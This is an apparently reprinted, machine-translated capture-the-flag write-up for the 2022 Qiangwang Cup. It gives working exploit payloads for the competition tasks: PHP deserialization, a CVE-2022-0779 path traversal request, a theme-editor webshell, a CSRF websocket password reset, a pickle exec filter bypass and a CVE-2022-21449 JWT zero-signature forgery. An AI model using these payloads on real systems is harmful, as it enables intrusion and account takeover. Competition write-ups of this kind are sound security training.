Original link: https://5ime.cn/qwb-2022.html
write in front
The Qiangwang Cup is not badly called the Strong Pwn Cup, with 17 Pwn questions. I don’t know what happened in previous years. There are many recurring CVE questions this year. I don’t know whether other questions have CVE.
1 2 3
|
myJWT CVE- 2022 - 21449 WP -UM CVE- 2022 - 0779 easylogin CVE- 2022 - 21661
|
Strong network pioneer
rcefile
Scan to www.zip
and find out by testing
- Check the suffix and
content-type
, the filename is a random string
- The data is stored in the
cookie
, restored and displayed by反序列化函数
The key point is the spl_autoload_register()
function in the config.inc.php
file
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<?php spl_autoload_register (); error_reporting ( 0 );
function e ( $str ) { return htmlspecialchars ( $str ); } $userfile = empty ( $_COOKIE [ "userfile" ]) ? [] : unserialize ( $_COOKIE [ "userfile" ]); ?> <p> <a href= "/index.php" >Index</a> <a href= "/showfile.php" >files</a> </p>
|
spl_autoload_register()
If you do not specify the processing function, it will automatically include the file of类名.php
or类名.inc
name.inc, and load the类名
class in it
It can be seen from the source code that there is no .inc
in the blacklist, so we can implement Getshell through the .inc
file
1
|
$blackext = [ "php" , "php5" , "php3" , "html" , "swf" , "htm" , "phtml" ];
|
We can see that after uploading, a userfile
cookie
appears in the response packet
1
|
Set-Cookie: userfile=a: 1 :{ i : 0 ;s: 36 : "340d9b3c0f5d7eff1c077d2ecd8c1c19.inc" ;}
|
Then we serialize an object with class name 340d9b3c0f5d7eff1c077d2ecd8c1c19
1 2 3 4 5 6 7
|
<?php class 340 d9b3c0f5d7eff1c077d2ecd8c1c19 { }
$flag = new 340 d9b3c0f5d7eff1c077d2ecd8c1c19(); echo serialize ( $flag ); // O:32:"340d9b3c0f5d7eff1c077d2ecd8c1c19":0:{}
|
Just add our newly generated反序列化
string directly to the cookie
WP_UM
Access the environment, a guided installation page appears, and the useful information is the following paragraph
Cat brother recently built a personal blog with wordpress. Because of his poor memory, the careless cat brother put the administrator’s 10-digit account as the file name under /username and the 15-digit password as the file name under /password.
And when storing, the cat brother is divided into a number (as the sequence of letters in the password) + an uppercase or lowercase letter to a file, for example, admin is divided into 5 files, the file name is 1a 2d 3m 4i 5n
In the past few days, he found a very useful wordpress plugin. When he was happy, the unfortunate cat brother didn’t know the danger.
This piece of information says that there is a problem with the plug-in, and then two plug-ins akismet
and user-meta
, are found in the attachment of the title.
According to the version 2.4.3
of the user-meta
plugin, a path traversal vulnerability CVE-2022-0779
was found, which can be combined to get the account password.
The pf_noncee
in the request package needs to be changed to the current pf_noncee
. How to get it: View the page source code on the homepage of the website and search for pf_nonce
1 2 3 4 5 6 7 8 9 10 11 12
|
POST /wp-admin/admin-ajax.php HTTP/1.1 Host : eci-2ze2ahooasrbklrp7npz.cloudeci1.ichunqiu.com Upgrade-Insecure-Requests : 1 User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding : gzip, deflate Accept-Language : zh-CN,zh;q=0.9 Connection : close Content-Type : application/x-www-form-urlencoded Content-Length : 159
field_name=test&filepath= /../ .. /../ .. /../ .. /../ .. /username/ 1 M&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=e74a0c7bd4&is_ajax= true
|
We can find that if the path exists then there will be a Remove
otherwise not
Account ( 10
digits) and password ( 15
digits), these information topics are all mentioned, we can directly burp
az
, AZ
, and the user name is M
in the blog post. A few digits, so in fact, only the 6
to 15
digits of the password are blasted, which is quite fast.
1 2
|
用户名:MaoGePaMao 密码:MaoGeYaoQiFeiLa
|
Log in to the background, and write a shell in外观
>主题文件编辑器
(the original intention is to write a sentence directly, but it seems that the quotation marks are filtered), write a sentence directly to other files)
He said that the flag
was hidden, and it took a long time to connect to the ant sword, and finally found that the flag was found in /usr/local/This_1s_secert
for a long time, otherwise the blood would be mine (whisper bb
ASR
Download the attachment to get a python
script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two
|
from Crypto.Util.number import getPrime from secret import falg pad = lambda s:s + bytes ([( len (s)- 1 )% 16 + 1 ]*(( len (s)- 1 )% 16 + 1 ))
n = getPrime( 128 )** 2 * getPrime( 128 )** 2 * getPrime( 128 )** 2 * getPrime( 128 )** 2 e = 3
flag = pad(flag) print (flag) assert ( len (flag) >= 48 ) m = int .from_bytes(flag, 'big' ) c = pow (m,e,n)
print ( f'n = {n} ' ) print ( f'e = {e} ' ) print ( f'c = {c} ' )
''' n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001 e = 3 c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149 '''
|
We first use factordb
to decompose n
to get
1 2 3 4
|
p1 = 218566259296037866647273372633238739089 p2 = 223213222467584072959434495118689164399 p3 = 225933944608558304529179430753170813347 p4 = 260594583349478633632570848336184053653
|
e|p1-1|p3-1
, which needs to be replaced. After some attempts, n
can also be approximately equal to p2**2*p4**2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
import gmpy2 from Crypto.Util.number import long_to_bytes
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001 e = 3 c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
p1 = 218566259296037866647273372633238739089 p2 = 223213222467584072959434495118689164399 p3 = 225933944608558304529179430753170813347 p4 = 260594583349478633632570848336184053653
assert (n==(p1*p2*p3*p4)** 2 ) data = gmpy2.invert(e, (p2- 1 )*p2*p4*(p4- 1 )) print (long_to_bytes( pow (c, data, p2** 2 *p4** 2 )))
# flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}
|
polydiv
This is just two sets. The md5 of the first layer is better. I wanted to manually input it, but found that there is not enough time. The use of pwn plays an interactive role. The md5 of the first layer has passed, and then the second layer is in the integer ring. Polynomial multiplication and division can be求解
by using the relevant functions in sagemath
, and the corresponding data can be obtained for 40
rounds of blasting solutions.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
|
from pwn import * import string from hashlib import * import itertools from sage. all import * strs = string.ascii_letters + string.digits PR = PolynomialRing(Zmod( 2 ), name= 'x' ) x = PR.gen()
def proof ( end,sha ): num= 4 slist=itertools.permutations(strs, int (num)) for i in slist: i = '' .join(i) if sha256((i + end.decode()).encode()).hexdigest()==sha.decode(): return i
def poly ( s ): data = 0 if s[- 1 ] == '1' : data = 1 if 'x' in s.replace( 'x^' , '' ): data += x for i in range ( 2 , 15 ): if str (i) in s: data += x^i return data
io = remote( '39.107.137.85' , 41366 ) context.log_level = 'debug' io.recvuntil( 'sha256(XXXX+' ) message=io.recvuntil( '\n' )[:- 1 ] end = message[: 16 ] SHA = message[- 64 :] io.sendafter( 'Give me XXXX: ' , proof(end,SHA))
for i in range ( 40 ): io.recvuntil( 'r(x) = ' ) rx = poly(io.recvuntil( '\n' )[:- 1 ].decode()) io.recvuntil( 'a(x) = ' ) ax = poly(io.recvuntil( '\n' )[:- 1 ].decode()) io.recvuntil( 'c(x) = ' ) cx = poly(io.recvuntil( '\n' )[:- 1 ].decode()) bx = (rx-cx)//ax print (rx,ax,bx) io.sendafter( '> b(x) = ' , str (bx)) io.recvall()
|
Web
babyweb
After registering an account and logging in, send help
according to the prompt and return the following information
When I first saw the bugreport
command (the administrator who sent the bugreport 网址
will request the URL you sent), I thought it should be the cookie
of the XSS
phishing administrator, but it has not been successful and cannot receive the request.
Later, I considered using the bugreport
and changepw
functions to construct csrf
to modify the administrator password. According to the js
in the page, I simply constructed the ws
request and uploaded it to my own server. After trying for a long time, it still failed. The port mapped by the docker
container, so the ws
address in the script is changed to ws://127.0.0.1:8888
1
|
docker run -dit -p "0.0.0.0:pub_port:8888" babyweb
|
1 2 3 4 5 6 7 8 9 10 11
|
< meta charset = "utf‐8" /> < script > var ws = null ; var url = "ws://127.0.0.1:8888/bot" ;
ws = new WebSocket (url); ws. onopen = function ( event ) { var msg = "changepw 123456" ; ws. send (msg); } </ script >
|
Send the bugreport poc地址
in the dialog box, then the admin
password will be reset to 123456
, log in to the admin
account again
Buy Hint
to get the topic source code /static/qwb_source_12580.zip
Looking at the source code, it is found that the restrictions are very dead. It must be within the defined range, must be numbers, etc. Finally, considering that the two languages of python
and go
are different, the json
interpreter is also different, which bypasses the restrictions. Operational Security Vulnerabilities
Return to the page to get the flag
crash
Subject content: flag in 504 page
Visit the homepage to get the topic source code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
|
import base64 # import sqlite3 import pickle from flask import Flask, make_response,request, session import admin import random
app = Flask(__name__,static_url_path= '' ) app.secret_key=random.randbytes( 12 )
class User : def __init__ ( self, username,password ): self.username=username self.token= hash (password)
def get_password ( username ): if username== "admin" : return admin.secret else : # conn=sqlite3.connect("user.db") # cursor=conn.cursor() # cursor.execute(f"select password from usertable where username='{username}'") # data=cursor.fetchall()[0] # if data: # return data[0] # else: # return None return session.get( "password" )
@app.route( '/balancer' , methods=[ 'GET' , 'POST' ] ) def flag (): pickle_data=base64.b64decode(request.cookies.get( "userdata" )) if b'R' in pickle_data or b"secret" in pickle_data: return "You damm hacker!" os.system( "rm -rf *py*" ) userdata=pickle.loads(pickle_data) if userdata.token!= hash (get_password(userdata.username)): return "Login First" if userdata.username== 'admin' : return "Welcome admin, here is your next challenge!" return "You're not admin!"
@app.route( '/login' , methods=[ 'GET' , 'POST' ] ) def login (): resp = make_response( "success" ) session[ "password" ]=request.values.get( "password" ) resp.set_cookie( "userdata" , base64.b64encode(pickle.dumps(User(request.values.get( "username" ),request.values.get( "password" )), 2 )), max_age= 3600 ) return resp
@app.route( '/' , methods=[ 'GET' , 'POST' ] ) def index (): return open ( 'source.txt' , "r" ).read()
if __name__ == '__main__' : app.run(host= '0.0.0.0' , port= 5000 )
|
Log in to admin
, and pass the user name and password through GET
. After serialization and base64
encoding, it is placed in the cookie
1 2 3 4 5
|
def login (): resp = make_response( "success" ) session[ "password" ]=request.values.get( "password" ) resp.set_cookie( "userdata" , base64.b64encode(pickle.dumps(User(request.values.get( "username" ),request.values.get( "password" )), 2 )), max_age= 3600 ) return resp
|
We found that the password of admin
is the local variable secret
, but we don’t know what the value of secret
is
1 2 3
|
def get_password ( username ): if username== "admin" : return admin.secret
|
We can implement变量覆盖
through pickle
deserialization. Note that R
and secret
cannot appear in the incoming serialized string.
1 2
|
if b'R' in pickle_data or b"secret" in pickle_data: return "You damm hacker!"
|
We use double-layer exec
bypass, and also recommend an article on pickle deserialization , which is very detailed
1 2 3 4 5 6 7 8 9
|
import base64
data = b'''(S'exec('admin.se'+'cret="admin"')' i__builtin__ exec .'''
print (base64.b64encode(data)) # KFMnZXhlYygnYWRtaW4uc2UnKydjcmV0PSJhZG1pbiInKScKaV9fYnVpbHRpbl9fCmV4ZWMKLg==
|
The page displays successfully
1
|
http:// 39.107 .237 .149 : 25512 / login ?username= admin & password = admin
|
At this time, accessing /balancer
will prompt You're not admin!
, we modify the cookie
and then request /balancer
1
|
userdata=KFM nZXhlYygnYWRtaW4 uc 2 U nKydjcmV0 PSJhZ G1 pbiI nKScKaV9 fY nVpbHRpbl9 fCmV 4 ZWMKLg==
|
After the request, the page prompts 500
, and you can return to the normal page by re-requesting once.
Here again, the flag in 504 page
is prompted, so this page should finally get the flag page.
And then gave a /826fd2f86129b050875e4a70cb059908a7ed
let’s construct the request directly
After accessing, get an nginx
configuration file
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
|
# nginx.vh.default.conf -- docker-openresty # # This file is installed to: # `/etc/nginx/conf.d/default.conf` # # It tracks the `server` section of the upstream OpenResty's `nginx.conf`. # # This config (and any other configs in `etc/nginx/conf.d/`) is loaded by # default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`. # # See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files # lua_package_path "/lua-resty-balancer/lib/?.lua;;" ; lua_package_cpath "/lua-resty-balancer/?.so;;" ;
server { listen 8088 ; server_name localhost;
#charset koi8-r; #access_log /var/log/nginx/host.access.log main;
location /gettestresult { default_type text/html; content_by_lua ' local resty_roundrobin = require "resty.roundrobin" local server_list = { [ngx.var.arg_server1] = ngx.var.arg_weight1, [ngx.var.arg_server2] = ngx.var.arg_weight2, [ngx.var.arg_server3] = ngx.var.arg_weight3, } local rr_up = resty_roundrobin:new(server_list) for i = 0,9 do ngx.say("Server seleted for request ",i,": " ,rr_up:find(),"<br>") end ' ; }
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html #
# proxy the PHP scripts to Apache listening on 127.0.0.1:80 # #location ~ \.php$ { # proxy_pass http://127.0.0.1; #}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # #location ~ \.php$ { # root /usr/local/openresty/nginx/html; # fastcgi_pass 127.0.0.1:9000; # fastcgi_index index.php; # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; # include fastcgi_params; #}
# deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /\.ht { # deny all; #} }
|
The file mentions three addresses in total, fill them in directly, and then权重
, according to years of experience in building a website, the lower the value, the higher the priority, we directly set them to 0
, or the same number, and then let the three conflicts go away Bar.
1 2 3
|
127.0.0.1 127.0.0.1:8088 127.0.0.1:900
|
After waiting for more than ten seconds, the page returns the flag
, and at the same time, you can see in the console that the requested interface 504
has timed out
Crypto
myJWT
After nc
is connected, enter the username, then enter 1
to get the generate token
, return a JWT
, then enter 2
to getflag
to prompt you to enter your token
and return You are not the administrator.
Let’s decrypt the JWT
and see
1
|
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0 = .eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzM4MTIxNzAwfQ = = . 5 IQnppqB0_rC4OOaCowkLXVYW6eJ1kI6P-IR3dXll0gDYFjQKyOrHbVp10Hrm3GFh8eRBVZok9_z1rrKUQcJUBqQs-PeZElzqrZwE4rPVxJr2fngi2u97HdG4ItmvWiS
|
Obviously see a permission check field "admin": false,
We first base64
decoding, then change false
to true
, and re-encode to base64
1 2 3 4
|
eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MzM4MTIxNzAwfQ== { "iss" : "qwb" , "name" : "iami233" , "admin" : false , "exp" : 1659338121700 } { "iss" : "qwb" , "name" : "iami233" , "admin" : true , "exp" : 1659338121700 } eyJpc3MiOiJxd2IiLCJuYW1lIjoiaWFtaTIzMyIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkzMzgxMjE3MDB9
|
CVE-2022-21449: Validation can be bypassed when the incoming sig value pair (r, s) is (0, 0)
The last piece of data we fill with 0
, the original data is 128
bits, we also fill with 128
A
1
|
eyJ 0 eXAiOiJKV 1 QiLCJhbGciOiJteUVTI n0 =.eyJpc 3 MiOiJxd 2 IiLCJuYW 1 lIjoiaWFtaTIzMyIsImFkbWluIjp 0 c nVlLCJleHAiOjE2 NTkzMzgxMjE3 MDB 9. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
Note that the token
expiration time is a bit fast, so the overall speed is faster, of course, it can also be automated with scripts
This article is reprinted from: https://5ime.cn/qwb-2022.html
This site is for inclusion only, and the copyright belongs to the original author.